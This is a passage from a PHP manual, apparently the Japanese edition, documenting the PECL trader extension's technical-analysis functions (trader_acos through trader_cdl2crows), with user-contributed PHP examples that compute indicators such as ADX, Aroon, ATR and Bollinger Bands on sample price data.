  • trader_cdlrisefall3methods — Rising/Falling Three Methods
  • trader_cdlseparatinglines — Separating Lines
  • trader_cdlshootingstar — Shooting Star
  • trader_cdlshortline — Short Line Candle
  • trader_cdlspinningtop — Spinning Top
  • trader_cdlstalledpattern — Stalled Pattern
  • trader_cdlsticksandwich — Stick Sandwich
  • trader_cdltakuri — Takuri (Dragonfly Doji with very long lower shadow)
  • trader_cdltasukigap — Tasuki Gap
  • trader_cdlthrusting — Thrusting Pattern
  • trader_cdltristar — Tristar Pattern
  • trader_cdlunique3river — Unique 3 River
  • trader_cdlupsidegap2crows — Upside Gap Two Crows
  • trader_cdlxsidegap3methods — Upside/Downside Gap Three Methods
  • trader_ceil — Vector Ceil
  • trader_cmo — Chande Momentum Oscillator
  • trader_correl — Pearson's Correlation Coefficient (r)
  • trader_cos — Vector Trigonometric Cos
  • trader_cosh — Vector Trigonometric Cosh
  • trader_dema — Double Exponential Moving Average
  • trader_div — Vector Arithmetic Div
  • trader_dx — Directional Movement Index
  • trader_ema — Exponential Moving Average
  • trader_errno — Get error code
  • trader_exp — Vector Arithmetic Exp
  • trader_floor — Vector Floor
  • trader_get_compat — Get compatibility mode
  • trader_get_unstable_period — Get unstable period
  • trader_ht_dcperiod — Hilbert Transform - Dominant Cycle Period
  • trader_ht_dcphase — Hilbert Transform - Dominant Cycle Phase
  • trader_ht_phasor — Hilbert Transform - Phasor Components
  • trader_ht_sine — Hilbert Transform - SineWave
  • trader_ht_trendline — Hilbert Transform - Instantaneous Trendline
  • trader_ht_trendmode — Hilbert Transform - Trend vs Cycle Mode
  • trader_kama — Kaufman Adaptive Moving Average
  • trader_linearreg_angle — Linear Regression Angle
  • trader_linearreg_intercept — Linear Regression Intercept
  • trader_linearreg_slope — Linear Regression Slope
  • trader_linearreg — Linear Regression
  • trader_ln — Vector Log Natural
  • trader_log10 — Vector Log10
  • trader_ma — Moving average
  • trader_macd — Moving Average Convergence/Divergence
  • trader_macdext — MACD with controllable MA type
  • trader_macdfix — Moving Average Convergence/Divergence Fix 12/26
  • trader_mama — MESA Adaptive Moving Average
  • trader_mavp — Moving average with variable period
  • trader_max — Highest value over a specified period
  • trader_maxindex — Index of highest value over a specified period
  • trader_medprice — Median Price
  • trader_mfi — Money Flow Index
  • trader_midpoint — MidPoint over period
  • trader_midprice — Midpoint Price over period
  • trader_min — Lowest value over a specified period
  • trader_minindex — Index of lowest value over a specified period
  • trader_minmax — Lowest and highest values over a specified period
  • trader_minmaxindex — Indexes of lowest and highest values over a specified period
  • trader_minus_di — Minus Directional Indicator
  • trader_minus_dm — Minus Directional Movement
  • trader_mom — Momentum
  • trader_mult — Vector Arithmetic Mult
  • trader_natr — Normalized Average True Range
  • trader_obv — On Balance Volume
  • trader_plus_di — Plus Directional Indicator
  • trader_plus_dm — Plus Directional Movement
  • trader_ppo — Percentage Price Oscillator
  • trader_roc — Rate of change : ((price/prevPrice)-1)*100
  • trader_rocp — Rate of change Percentage: (price-prevPrice)/prevPrice
  • trader_rocr100 — Rate of change ratio 100 scale: (price/prevPrice)*100
  • trader_rocr — Rate of change ratio: (price/prevPrice)
  • trader_rsi — Relative Strength Index
  • trader_sar — Parabolic SAR
  • trader_sarext — Parabolic SAR - Extended
  • trader_set_compat — Set compatibility mode
  • trader_set_unstable_period — Set unstable period
  • trader_sin — Vector Trigonometric Sin
  • trader_sinh — Vector Trigonometric Sinh
  • trader_sma — Simple Moving Average
  • trader_sqrt — Vector Square Root
  • trader_stddev — Standard Deviation
  • trader_stoch — Stochastic
  • trader_stochf — Stochastic Fast
  • trader_stochrsi — Stochastic Relative Strength Index
  • trader_sub — Vector Arithmetic Subtraction
  • trader_sum — Summation
  • trader_t3 — Triple Exponential Moving Average (T3)
  • trader_tan — Vector Trigonometric Tan
  • trader_tanh — Vector Trigonometric Tanh
  • trader_tema — Triple Exponential Moving Average
  • trader_trange — True Range
  • trader_trima — Triangular Moving Average
  • trader_trix — 1-day Rate-Of-Change (ROC) of a Triple Smooth EMA
  • trader_tsf — Time Series Forecast
  • trader_typprice — Typical Price
  • trader_ultosc — Ultimate Oscillator
  • trader_var — Variance
  • trader_wclprice — Weighted Close Price
  • trader_willr — Williams' %R
  • trader_wma — Weighted Moving Average

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric ACos

  • ≪ Trader 関数
  • trader_ad ≫
  • PHP Manual
  • Trader 関数
  • Vector Trigonometric ACos

trader_acos

(PECL trader >= 0.2.0)

trader_acos — Vector Trigonometric ACos

説明

trader_acos ( array $real ) : array

Calculates the arc cosine for each value in real and returns the resulting array.

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 05:24
$real = array(1, 0.5, 1, 0.5, 0.2, 0.3, 0.5, 0.8, 0.9, 0.5);
$result = trader_acos($real);
var_dump($result);
/*
array(10) {
  [0]=>
  float(0)
  [1]=>
  float(1.047)
  [2]=>
  float(0)
  [3]=>
  float(1.047)
  [4]=>
  float(1.369)
  [5]=>
  float(1.266)
  [6]=>
  float(1.047)
  [7]=>
  float(0.644)
  [8]=>
  float(0.451)
  [9]=>
  float(1.047)
}
*/


Chaikin A/D Line

  • ≪ trader_acos
  • trader_add ≫
  • PHP Manual
  • Trader 関数
  • Chaikin A/D Line

trader_ad

(PECL trader >= 0.2.0)

trader_ad — Chaikin A/D Line

説明

trader_ad ( array $high , array $low , array $close , array $volume ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

volume

取引高。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 06:55
<?php
$highs = array(136.74, 141.99, 144.3, 144.3);
$lows = array(130.21, 136.7, 140.41, 141.37);
$closes = array(131.96, 137.09, 142.06, 143.16);
$volumes = array(177523812.0, 142621128.0, 140843759.0, 98390555.0);

$Chaikin_AD_Result = trader_ad($highs, $lows , $closes, $volumes);

var_dump($Chaikin_AD_Result);
/*
array(4) {
  [0]=>
  float(-82373223.639)
  [1]=>
  float(-203965149.4)
  [2]=>
  float(-225327056.292)
  [3]=>
  float(-203499800.064)
}
*/


Vector Arithmetic Add

  • ≪ trader_ad
  • trader_adosc ≫
  • PHP Manual
  • Trader 関数
  • Vector Arithmetic Add

trader_add

(PECL trader >= 0.2.0)

trader_add — Vector Arithmetic Add

説明

trader_add ( array $real0 , array $real1 ) : array

Calculates the vector addition of real0 to real1 and returns the resulting vector.

パラメータ

real0

実数値の配列。

real1

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 07:02
<?php

$result = trader_add([1,2,3,4,5], [6,7,8,9,10]);
var_dump($result);
/*
array(5) {
  [0]=>
  float(7) // 1 + 6
  [1]=>
  float(9) // 2 + 7
  [2]=>
  float(11) // 3 + 8
  [3]=>
  float(13) // 4 + 9
  [4]=>
  float(15) // 5 + 10
}
*/


Chaikin A/D Oscillator

  • ≪ trader_add
  • trader_adx ≫
  • PHP Manual
  • Trader 関数
  • Chaikin A/D Oscillator

trader_adosc

(PECL trader >= 0.2.0)

trader_adosc — Chaikin A/D Oscillator

説明

trader_adosc ( array $high , array $low , array $close , array $volume , int $fastPeriod = ? , int $slowPeriod = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

volume

取引高。実数値の配列。

fastPeriod

Number of period for the fast MA. Valid range from 2 to 100000.

slowPeriod

Number of period for the slow MA. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 07:54
<?php

$opens = array(135.83, 139.52, 143.43, 143.6);
$highs = array(136.74, 141.99, 144.3, 144.3);
$lows = array(130.21, 136.7, 140.41, 141.37);
$closes = array(131.96, 137.09, 142.06, 143.16);
$volumes = array(177523812.0, 142621128.0, 140843759.0, 98390555.0);
$fast = 2;
$slow = 4;

$Chaikin_AD_Oscillator = trader_adosc($highs , $lows , $closes , $volumes, $fast, $slow);
var_dump($Chaikin_AD_Oscillator);
/*
array(1) {
  [3]=>
  float(-21256590.917)
}
?*/


Average Directional Movement Index

  • ≪ trader_adosc
  • trader_adxr ≫
  • PHP Manual
  • Trader 関数
  • Average Directional Movement Index

trader_adx

(PECL trader >= 0.2.0)

trader_adx — Average Directional Movement Index

説明

trader_adx ( array $high , array $low , array $close , int $timePeriod = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

tl4gvx29ku39 at opayq dot com 11-Mar-2021 03:54
After hours of trial and error, I feel fairly confident the adx function works like many others. Insert a block(s) of ohlc data and set a time period for an output.

For example, I am using 48 30-min blocks of ohlc data (1 day). But I wanted the indicators true to design (adx is usually 14 periods) so I would trim the data to 14 periods in and set timePeriods=14 and get errors. No need to do all that. Put the entire 48 period array(s) in and set the period to 14 (or whatever you like). The output is close to online sources. The function will use the last 14 periods or whatever you set to generate the correct output.

The best/closest I can find for a manual to these functions is located tulipindicators dot org which you can test using excel with a free plugin at tulipcell dot org.

I was able to pull my historical indicator data generated with these functions and was able to recreate the numbers which matched closely to online trading platforms.
geekgirl dot joy at gmail dot com 07-Feb-2021 07:48
<?php
// Per wikipedia ADX is "an indicator of trend strength in a series of prices of a financial instrument."
// The original implementation used 14 days.

$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);
$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);

$time_period = floor(count($highs) / 2); // Per Wikipedia on the ADX indicator calculation:
                                         // UpMove = today's high ? yesterday's high
                                         // DownMove = yesterday's low ? today's low
                                         //
                                         // Thence: The maximal length for $time_period
                                         // is: floor(count($the_number_of_samples) / 2);

var_dump(trader_adx($highs, $lows, $closes, $time_period));
/*
array(1) {
  [13]=>
  float(48.909)
}
*/


Average Directional Movement Index Rating

  • ≪ trader_adx
  • trader_apo ≫
  • PHP Manual
  • Trader 関数
  • Average Directional Movement Index Rating

trader_adxr

(PECL trader >= 0.2.0)

trader_adxr — Average Directional Movement Index Rating

説明

trader_adxr ( array $high , array $low , array $close , int $timePeriod = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 07-Feb-2021 09:28
<?php
// ADXR measures the difference in the change of momentum in the ADX.
// The ADXR is equal to the current ADX plus the ADX from n datapoints previous, divided by 2.

$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);
$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);

$time_period = floor((count($highs)-2) / 2)-2;

var_dump(trader_adxr($highs, $lows, $closes, $time_period));
/*
array(4) {
  [10]=>
  float(41.004)
  [11]=>
  float(44.783)
  [12]=>
  float(50.257)
  [13]=>
  float(43.597)
}
*/


Absolute Price Oscillator

  • ≪ trader_adxr
  • trader_aroon ≫
  • PHP Manual
  • Trader 関数
  • Absolute Price Oscillator

trader_apo

(PECL trader >= 0.2.0)

trader_apo — Absolute Price Oscillator

説明

trader_apo ( array $real , int $fastPeriod = ? , int $slowPeriod = ? , int $mAType = ? ) : array

パラメータ

real

実数値の配列。

fastPeriod

Number of period for the fast MA. Valid range from 2 to 100000.

slowPeriod

Number of period for the slow MA. Valid range from 2 to 100000.

mAType

Type of Moving Average. TRADER_MA_TYPE_* series of constants should be used.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 15-Feb-2021 04:23
<?php
/*
APO crossing above zero is "bullish", crossing below zero is "bearish".
Positive values are "upward movement", Negative values are "downward movement",
*/

$mATypes = array(TRADER_MA_TYPE_SMA,  // Simple Moving Average
                 TRADER_MA_TYPE_EMA,  // Exponential Moving Average
                 TRADER_MA_TYPE_WMA,  // Weighted Moving Average
                 TRADER_MA_TYPE_DEMA, // Double Exponential Moving Average
                 TRADER_MA_TYPE_TEMA, // Triple Exponential Moving Average
                 TRADER_MA_TYPE_TRIMA,// Triangular Moving Average
                 TRADER_MA_TYPE_KAMA, // Kaufman's Adaptive Moving Average
                 TRADER_MA_TYPE_MAMA, // MESA Adaptive Moving Average
                 TRADER_MA_TYPE_T3);  // T3 Moving Average

$fast_period = 12;
$slow_period = 30;

$closes = array(131.96, 137.09, 142.06, 143.16, 142.92, 139.07, 136.87, 132.03, 127.83, 127.14, 128.91, 130.89, 128.8, 128.98, 132.05, 130.92, 126.6, 131.01, 129.41, 132.69, 133.72, 134.87, 136.69, 131.97, 130.96, 131.88, 128.23, 126.655, 128.7, 127.81, 127.88, 121.78, 122.41, 123.24, 121.78, 124.38, 123.75, 122.25, 122.94, 123.08, 122.72, 119.05, 116.59, 116.03, 115.17, 113.85, 117.34, 118.64, 118.03, 119.39, 120.3, 119.26, 119.21, 119.49, 115.97, 116.32, 118.69, 119.03, 114.95, 110.44, 108.77, 108.86, 115.32, 111.2, 116.6, 115.05, 115.04, 115.75, 116.87, 117.51, 115.98, 119.02, 120.71, 121.19, 121.1, 124.4, 116.97, 114.97, 115.08, 113.16, 116.5, 113.02, 116.79, 115.81, 114.09, 114.96, 112.28, 108.22, 107.12, 111.81, 110.08, 106.84, 110.34, 112.13, 115.54, 115.355, 112, 113.49, 117.32, 112.82);

$Absolute_Price_Oscillators = array();

foreach($mATypes as $mA){

    $key = 'sma';
    if($mA == TRADER_MA_TYPE_EMA){$key = 'ema';}
    elseif($mA == TRADER_MA_TYPE_WMA){$key = 'wma';}
    elseif($mA == TRADER_MA_TYPE_DEMA){$key = 'dema';}
    elseif($mA == TRADER_MA_TYPE_TEMA){$key = 'tema';}
    elseif($mA == TRADER_MA_TYPE_TRIMA){$key = 'trima';}
    elseif($mA == TRADER_MA_TYPE_KAMA){$key = 'kama';}
    elseif($mA == TRADER_MA_TYPE_MAMA){$key = 'mama';}
    elseif($mA == TRADER_MA_TYPE_T3){$key = 't3';}

    $Absolute_Price_Oscillators[$key] = trader_apo ($closes, $fast_period, $slow_period, $mA);
}

var_dump($Absolute_Price_Oscillators['sma']);
/*
array(71) {
  [29]=>
  float(-1.264)
  [30]=>
  float(-1.255)
  [31]=>
  float(-1.654)
  [32]=>
  float(-1.942)
  [33]=>
  float(-2.247)
  [34]=>
  float(-2.785)
  [35]=>
  float(-2.927)
  [36]=>
  float(-3.091)
  [37]=>
  float(-3.567)
  [38]=>
  float(-3.845)
  [39]=>
  float(-4.008)
  [40]=>
  float(-4.3)
  [41]=>
  float(-4.635)
  [42]=>
  float(-5.169)
  [43]=>
  float(-5.217)
  [44]=>
  float(-5.257)
  [45]=>
  float(-5.471)
  [46]=>
  float(-5.532)
  [47]=>
  float(-5.598)
  [48]=>
  float(-5.695)
  [49]=>
  float(-5.49)
  [50]=>
  float(-5.263)
  [51]=>
  float(-5.061)
  [52]=>
  float(-4.771)
  [53]=>
  float(-4.318)
  [54]=>
  float(-3.87)
  [55]=>
  float(-3.327)
  [56]=>
  float(-2.716)
  [57]=>
  float(-2.03)
  [58]=>
  float(-1.771)
  [59]=>
  float(-1.875)
  [60]=>
  float(-2.01)
  [61]=>
  float(-2.457)
  [62]=>
  float(-2.636)
  [63]=>
  float(-2.906)
  [64]=>
  float(-2.951)
  [65]=>
  float(-3.01)
  [66]=>
  float(-2.797)
  [67]=>
  float(-2.628)
  [68]=>
  float(-2.577)
  [69]=>
  float(-2.518)
  [70]=>
  float(-2.208)
  [71]=>
  float(-1.492)
  [72]=>
  float(-0.634)
  [73]=>
  float(0.222)
  [74]=>
  float(0.506)
  [75]=>
  float(1.254)
  [76]=>
  float(1.297)
  [77]=>
  float(1.413)
  [78]=>
  float(1.515)
  [79]=>
  float(1.506)
  [80]=>
  float(1.602)
  [81]=>
  float(1.436)
  [82]=>
  float(1.584)
  [83]=>
  float(1.439)
  [84]=>
  float(0.95)
  [85]=>
  float(0.477)
  [86]=>
  float(-0.045)
  [87]=>
  float(-1.033)
  [88]=>
  float(-1.593)
  [89]=>
  float(-1.902)
  [90]=>
  float(-2.362)
  [91]=>
  float(-2.821)
  [92]=>
  float(-3.169)
  [93]=>
  float(-3.274)
  [94]=>
  float(-3.343)
  [95]=>
  float(-3.391)
  [96]=>
  float(-3.464)
  [97]=>
  float(-3.511)
  [98]=>
  float(-3.106)
  [99]=>
  float(-2.566)
}
*/


Aroon

  • ≪ trader_apo
  • trader_aroonosc ≫
  • PHP Manual
  • Trader 関数
  • Aroon

trader_aroon

(PECL trader >= 0.2.0)

trader_aroon — Aroon

説明

trader_aroon ( array $high , array $low , int $timePeriod = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 15-Feb-2021 04:44
<?php
/*
The Aroon indicator is used to identify price trend changes as well as the strength of the trend.
*/

$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);

$time_period = 5;

var_dump(trader_aroon($highs, $lows, $time_period));

/*
array(2) {
  [0]=>
  array(9) {
    [5]=>
    float(60)
    [6]=>
    float(40)
    [7]=>
    float(100)
    [8]=>
    float(100)
    [9]=>
    float(100)
    [10]=>
    float(80)
    [11]=>
    float(60)
    [12]=>
    float(40)
    [13]=>
    float(20)
  }
  [1]=>
  array(9) {
    [5]=>
    float(40)
    [6]=>
    float(20)
    [7]=>
    float(0)
    [8]=>
    float(40)
    [9]=>
    float(20)
    [10]=>
    float(0)
    [11]=>
    float(0)
    [12]=>
    float(60)
    [13]=>
    float(40)
  }
}
*/


Aroon Oscillator

  • ≪ trader_aroon
  • trader_asin ≫
  • PHP Manual
  • Trader 関数
  • Aroon Oscillator

trader_aroonosc

(PECL trader >= 0.2.0)

trader_aroonosc — Aroon Oscillator

説明

trader_aroonosc ( array $high , array $low , int $timePeriod = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 15-Feb-2021 04:48
<?php
/*
The Aroon Oscillator uses the Aroon Indicator to gauge the strength of a trend and the likelihood that it will continue.
*/

$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);

$time_period = 5;

var_dump(trader_aroonosc($highs, $lows, $time_period));
/*
array(9) {
  [5]=>
  float(-20)
  [6]=>
  float(-20)
  [7]=>
  float(-100)
  [8]=>
  float(-60)
  [9]=>
  float(-80)
  [10]=>
  float(-80)
  [11]=>
  float(-60)
  [12]=>
  float(20)
  [13]=>
  float(20)
}
*/


Vector Trigonometric ASin

  • ≪ trader_aroonosc
  • trader_atan ≫
  • PHP Manual
  • Trader 関数
  • Vector Trigonometric ASin

trader_asin

(PECL trader >= 0.2.0)

trader_asin — Vector Trigonometric ASin

説明

trader_asin ( array $real ) : array

Calculates the arc sine for each value in real and returns the resulting array.

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric ATan

  • ≪ trader_asin
  • trader_atr ≫
  • PHP Manual
  • Trader 関数
  • Vector Trigonometric ATan

trader_atan

(PECL trader >= 0.2.0)

trader_atan — Vector Trigonometric ATan

説明

trader_atan ( array $real ) : array

Calculates the arc tangent for each value in real and returns the resulting array.

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Average True Range

  • ≪ trader_atan
  • trader_avgprice ≫
  • PHP Manual
  • Trader 関数
  • Average True Range

trader_atr

(PECL trader >= 0.2.0)

trader_atr — Average True Range

説明

trader_atr ( array $high , array $low , array $close , int $timePeriod = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 15-Feb-2021 04:56
<?php
// Average True Range is a volatility indicator and does not indicate trend, only volatility
$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);
$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);

$time_period = 5;
var_dump(trader_atr($highs, $lows, $closes, $time_period));
/*
array(9) {
  [5]=>
  float(5.74)
  [6]=>
  float(5.384)
  [7]=>
  float(5.005)
  [8]=>
  float(4.962)
  [9]=>
  float(5.388)
  [10]=>
  float(5.05)
  [11]=>
  float(5.108)
  [12]=>
  float(5.136)
  [13]=>
  float(5.063)
}
*/


Average Price

  • ≪ trader_atr
  • trader_bbands ≫
  • PHP Manual
  • Trader 関数
  • Average Price

trader_avgprice

(PECL trader >= 0.2.0)

trader_avgprice — Average Price

説明

trader_avgprice ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 06:35
<?php
$p =  trader_avgprice([1,2] , [1.2, 3] , [0.99, 2] , [1.2, 2.5]);
var_dump($p);
/*
array(2) {
  [0]=>
  float(1.097) // (1 + 1.2 + 0.99 + 1.2) / 4
  [1]=>
  float(2.375) // (2 + 3 + 2 + 2.5) / 4
}
*/


Bollinger Bands

  • ≪ trader_avgprice
  • trader_beta ≫
  • PHP Manual
  • Trader 関数
  • Bollinger Bands

trader_bbands

(PECL trader >= 0.2.0)

trader_bbands — Bollinger Bands

説明

trader_bbands ( array $real , int $timePeriod = ? , float $nbDevUp = ? , float $nbDevDn = ? , int $mAType = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

nbDevUp

Deviation multiplier for upper band. Valid range from TRADER_REAL_MIN to TRADER_REAL_MAX.

nbDevDn

Deviation multiplier for lower band. Valid range from TRADER_REAL_MIN to TRADER_REAL_MAX.

mAType

Type of Moving Average. TRADER_MA_TYPE_* series of constants should be used.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 17-Feb-2021 08:33
<?php

// According to Wikipedia and the internet:
// Bollinger Bands chart the price and volatility of a financial instrument over time
// and yield an "envelope" minimum and maximum and middle "bands" of moving averages
// which provide a relative definition of high and low market prices
// Prices are "high" at or near the upper band and "low" at or near the lower band.
// Bollinger Bands are considered useful for pattern recognition

$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);
$time_period = 5;
$upper_deviation_multiplier = 2.0;
$lower_deviation_multiplier = 2.0;

$ma_type = TRADER_MA_TYPE_SMA;  // Simple Moving Average
           //TRADER_MA_TYPE_EMA   - Exponential Moving Average
           //TRADER_MA_TYPE_WMA   - Weighted Moving Average
           //TRADER_MA_TYPE_DEMA  - Double Exponential Moving Average
           //TRADER_MA_TYPE_TEMA  - Triple Exponential Moving Average
           //TRADER_MA_TYPE_TRIMA - Triangular Moving Average
           //TRADER_MA_TYPE_KAMA  - Kaufman's Adaptive Moving Average
           //TRADER_MA_TYPE_MAMA  - MESA Adaptive Moving Average
           //TRADER_MA_TYPE_T3)   - T3 Moving Average

var_dump(trader_bbands($closes, $time_period, $upper_deviation_multiplier, $lower_deviation_multiplier, $ma_type));

// Index 0 is "upper" band.
// Index 1 is "middle" band.
// Index 2 is "lower" band.

/*
array(3) {
  [0]=>
  array(10) {
    [4]=>
    float(118.025)
    [5]=>
    float(118.401)
    [6]=>
    float(116.739)
    [7]=>
    float(117.153)
    [8]=>
    float(118.563)
    [9]=>
    float(116.676)
    [10]=>
    float(113.996)
    [11]=>
    float(113.114)
    [12]=>
    float(112.577)
    [13]=>
    float(113.892)
  }
  [1]=>
  array(10) {
    [4]=>
    float(114.197)
    [5]=>
    float(114.741)
    [6]=>
    float(113.703)
    [7]=>
    float(113.073)
    [8]=>
    float(112.041)
    [9]=>
    float(110.986)
    [10]=>
    float(110.24)
    [11]=>
    float(109.238)
    [12]=>
    float(108.814)
    [13]=>
    float(109.902)
  }
  [2]=>
  array(10) {
    [4]=>
    float(110.369)
    [5]=>
    float(111.081)
    [6]=>
    float(110.667)
    [7]=>
    float(108.993)
    [8]=>
    float(105.519)
    [9]=>
    float(105.296)
    [10]=>
    float(106.484)
    [11]=>
    float(105.362)
    [12]=>
    float(105.051)
    [13]=>
    float(105.912)
  }
}
*/


Beta

  • ≪ trader_bbands
  • trader_bop ≫
  • PHP Manual
  • Trader 関数
  • Beta

trader_beta

(PECL trader >= 0.2.0)

trader_beta — Beta

説明

trader_beta ( array $real0 , array $real1 , int $timePeriod = ? ) : array

パラメータ

real0

実数値の配列。

real1

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Balance Of Power

  • ≪ trader_beta
  • trader_cci ≫
  • PHP Manual
  • Trader 関数
  • Balance Of Power

trader_bop

(PECL trader >= 0.2.0)

trader_bop — Balance Of Power

説明

trader_bop ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 07:21
<?php

$opens = array(135.83, 139.52, 143.43, 143.6);
$highs = array(136.74, 141.99, 144.3, 144.3);
$lows = array(130.21, 136.7, 140.41, 141.37);
$closes = array(131.96, 137.09, 142.06, 143.16);

// (Close - Open) / (High - Low)
$Balance_Of_Power = trader_bop($opens, $highs, $lows, $closes);

var_dump($Balance_Of_Power);
/*
array(4) {
  [0]=>
  float(-0.593) // (131.96 - 135.83) / (136.74 - 130.21)
  [1]=>
  float(-0.459) // (137.09 - 139.52) / (141.99 - 136.7)
  [2]=>
  float(-0.352) // (142.06 - 143.43) / (144.3 - 140.41)
  [3]=>
  float(-0.15)  // (143.16 - 143.6) / (144.3 - 141.37)
}
*/


Commodity Channel Index

  • ≪ trader_bop
  • trader_cdl2crows ≫
  • PHP Manual
  • Trader 関数
  • Commodity Channel Index

trader_cci

(PECL trader >= 0.2.0)

trader_cci — Commodity Channel Index

説明

trader_cci ( array $high , array $low , array $close , int $timePeriod = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Mar-2021 07:31
<?php

// The CCI (Commodity Channel Index) is an oscillator that
// relies on historical price momentum to determine if it is "overbought" or "oversold".
// When greater than zero the price is "above" the historic average.
// When less than zero the price is "below" the historic average.
// Investopedia claims:
// "The CCI is an unbounded oscillator, meaning it can go higher or lower indefinitely. For this reason, overbought and oversold levels are typically determined for each individual asset by looking at historical extreme CCI levels where the price reversed from."

$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);
$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);

$time_period = 7;

var_dump(trader_cci ($highs, $lows, $closes, $time_period));
/*
array(8) {
  [6]=>
  float(-83.234)
  [7]=>
  float(-137.329)
  [8]=>
  float(-145.78)
  [9]=>
  float(-101.047)
  [10]=>
  float(-9.331)
  [11]=>
  float(-59.339)
  [12]=>
  float(-66.964)
  [13]=>
  float(76.143)
}
*/


Two Crows

  • ≪ trader_cci
  • trader_cdl3blackcrows ≫
  • PHP Manual
  • Trader 関数
  • Two Crows

trader_cdl2crows

(PECL trader >= 0.2.0)

trader_cdl2crows — Two Crows

説明

trader_cdl2crows ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

